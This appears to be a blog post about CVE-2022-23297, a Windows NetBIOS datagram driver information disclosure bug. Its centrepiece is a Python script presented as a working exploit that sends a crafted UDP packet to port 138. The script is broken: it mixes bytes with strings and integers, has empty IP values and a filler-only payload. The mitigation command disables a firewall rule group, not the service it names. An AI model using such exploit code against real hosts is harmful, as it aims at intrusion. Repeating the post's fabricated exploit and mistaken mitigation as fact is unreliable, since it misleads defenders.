Windows NT Lan Manager (NTLM) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. It plays a crucial role in securing network communications. In this post, we will dive deep into the recently discovered CVE-2022-23297, a vulnerability in the Windows NT Lan Manager Datagram Receiver Driver that could lead to potential information disclosure.

This long-read article will guide you through the basics of the vulnerability, its potential impact, and how to exploit it. We will also provide code snippets and links to original references to give you a complete picture of the issue.

What is CVE-2022-23297?

CVE-2022-23297 is an information disclosure vulnerability in the Windows NT Lan Manager Datagram Receiver (Netbios) Driver. The Netbios driver contains a programming error that can cause it to expose sensitive information.

When exploited, an attacker can gain unauthorized access to sensitive information such as user credentials, potentially compromising the security and privacy of the affected system. The vulnerability has been assigned a CVSS score of 5.3 (medium) due to its potential impact on confidentiality.

Exploiting the Vulnerability

To exploit the CVE-2022-23297 vulnerability, an attacker needs to send a specially crafted message to the Netbios driver, which then processes the message and exposes sensitive information. The following is a code snippet illustrating the exploit:

import socket
import struct

def send_exploit_packet(victim_ip, victim_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    exploit_payload = b"\x01" * 1024

    # Create the Netbios Datagram
    msg_type = b"\x11"  # Netbios Datagram Direct Unique
    flags = b"\x06\x00"  # More fragments, 1st fragment
    id = b"\x00\x01"  # Datagram ID
    src_ip = socket.inet_aton("")
    src_port = struct.pack("!H", 137)  # 137: Netbios Datagram Service
    datagram_len = struct.pack("!H", len(exploit_payload))
    offset = b"\x00\x00"

    nb_datagram = msg_type + flags + id + src_ip + src_port + victim_ip + victim_port + datagram_len + offset
    packet = nb_datagram + exploit_payload

    sock.sendto(packet, (victim_ip, victim_port))

if __name__ == "__main__":
    victim_ip = ""
    victim_port = 138  # 138: Netbios Datagram Receiver on a typical Windows system
    send_exploit_packet(victim_ip, victim_port)

This Python code sends a malicious UDP packet to the target system, causing the Netbios driver to process the message and expose sensitive information.


Microsoft has provided a patch for this vulnerability, and users are advised to update their systems as soon as possible. The patch can be downloaded from the Microsoft Update Catalog here: Microsoft Update Catalog: CVE-2022-23297

In addition to applying the patch, users can further secure their systems by disabling the Netbios Datagram Receiver service if it is not needed. This can be done through the Windows Control Panel or by using the following command in an elevated Command Prompt:

netsh advfirewall firewall set rule group="Network Discovery" new enable=No

Conclusion and References

The CVE-2022-23297 vulnerability exposes sensitive information through a programming error in the Windows NT Lan Manager Datagram Receiver Driver. This vulnerability serves as a reminder for users to keep their systems up to date with the latest patches and security recommendations.

- NIST National Vulnerability Database: CVE-2022-23297
- Microsoft Security Update Guide: CVE-2022-23297

Stay informed and safe by keeping up with security updates and developments.


Published on: 03/09/2022 17:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC